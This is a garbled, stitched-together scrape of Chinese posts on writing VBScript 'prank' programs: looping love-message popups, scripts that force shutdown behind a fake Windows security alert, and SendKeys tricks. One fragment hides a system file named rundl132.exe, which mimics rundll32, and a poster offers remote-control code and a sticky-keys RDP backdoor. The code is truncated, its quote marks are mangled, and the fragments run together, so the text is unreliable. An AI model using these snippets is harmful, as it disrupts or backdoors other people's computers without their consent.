quot爱的表白quot，quotquot，8000，7000 if a lt quot我愿意quot then msgbox “不愿意么再考虑一下哦quotloopdim WSHshellset WSHshell = wscriptcreateobjectquotwscriptshellquotWSHshellrun quotcmdexe c shutdown aquot，0；msgbox quot啊哈哈哈哈哈哈想不到吧quotmsgbox quot先问个简单的问题，我经常和你说你一定知道quotconst title = quot啊哈哈哈哈一定要做完啊quotconst yourname = quotXXX纪念日quotconst question = quot今天是个特殊的日子呐，你记得是；代码如下WScriptEchoquot嘿，谢谢你打开我哦，我等你很久拉quotTSNameWScriptEchoquot你是可爱的小朋吗？quotWScriptEchoquot哈，我想你拉，这你都不知道吗quotWScriptEchoquot怎么才来，说~是不是不关心我quotWScript；哥们 我在重起了若干次机子后终于得出结论，当你第一次执行vbs后，vbs文件是被选中的，问题的关键是你的程序里有个wsSendKeys quotENTERquot这是模式按enter键，在你的Vbs文件是被选中的状态下按10次enter键会是什么结果；VB经常被用来编写一些整人的脚本程序，那么如何编写这类的程序呢下面我给大家展示一下工具材料 Sublime Text 01 首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 02；步骤一在电脑上新建一个txt文件步骤二打开txt文件，复制以下代码粘贴进去可以修改中文部分，其它代码不要动！保存并关闭txt文件do msgboxquot我爱你quotloop 步骤三点文件另存为，然后输入你想改的名字，然后把后；最浪漫的编程代码可复制的编程代码有如下lt？php for$t=0$tlt360$t++ y=2*cos$tcos2*$t笛卡尔心形曲线函数 x=2*sin$tsin2*$tx+=3y+=3x*=70y*=70x=round$xy=ro；Set cls = fsoCreateTextFile quotclsscfquotclsWriteLine quotShellquotclsWriteLine quotCommand=2quotclsWriteLine quotIconFile=%SystemRoot%system32SHELL32dll，34quotclsWriteLine quotTaskbarquotclsWrite quotCommand。

WshShellRun quot%windir%\notepad quot WScriptScriptFullName，0 #39若是运行时在开始的状态栏内无显示的情况的话，需要软件支持下面以EXCEL文件为例说明首先新建 quotD\TESTxlsquot 文件，将下面的代码保存为VBS文件 #39；z=wshshellrun quotATTRIB +R +S +H quotquot%systemroot%\java\rundl132exequotquotquot，0 #39加个属性 艾权啊，我是DARK，给你个可以远程控制别人的VBS代码，没事试试也可以的 再给你一个开启3389创建用户粘滞键后门on error；这东西很麻烦我代码虽然已经写好了，但有点错误，不知道怎么改了首先创建一个主程序vbs，代码如下Dim MainContainer， Window， Document Set MainContainer = CreateObjectquotInternetExplorerApplicationquotMain。

11VBS获取系统安装路径 程序代码set WshShell = WScriptCreateObjectquotWScriptShellquotstrWinDir = WshShellExpandEnvironmentStringsquot%WinDir%quot上面的代码意思是先定义这个变量是获取系统安装路径的，然后我们用quotstrWinDirquot调用这个；quot，16+4096，quotWindows安全警报quotShell quotcmdc shutdown s t 5quot佛祖曰普度众生，这样就行 后面那一句代码是用来关机的，VBS代码你应该会插入把 创建个文本文档 输入代码 改后缀txt为vbs 双击运行即可；VBS可以用来编写一些整人的小程序，那么如何编写呢下面我就给大家分享一下01 我们首先在桌面上创建一个VBS的文件，如下图所示，注意VBS文件双击的话是直接运行的 02 然后我们用Sublime打开vbs程序文件，在里面借助lo。

打开VB新建一个exe工程按下F7打开代码窗体写入以下代码并生成exe发送给对方即可Private Sub Form_Load MsgBox quotI love you~quot MsgBox quot真的quot MsgBox quotquotEnd SubMsgBox请自由更改以及添加，想说多少；另外这个VBS代码的CIM命名空间是缺省的root\CIMV2，所以可以被省略，再后面就是通过WQL查询，返回Win32_OperatingSystem类所有对象，再FOR Eacb历遍前面返回的对象，使用Win32Shutdown 方法，关闭计算机，Win32Shutdown 方法；1VBS获取路径集合11VBS获取系统安装路径 程序代码set WshShell = WScriptCreateObjectquotWScriptShellquotstrWinDir = WshShellExpandEnvironmentStringsquot%WinDir%quot上面的代码意思是先定义这个变量是获取系统安装路径的，然后我们用quotstr。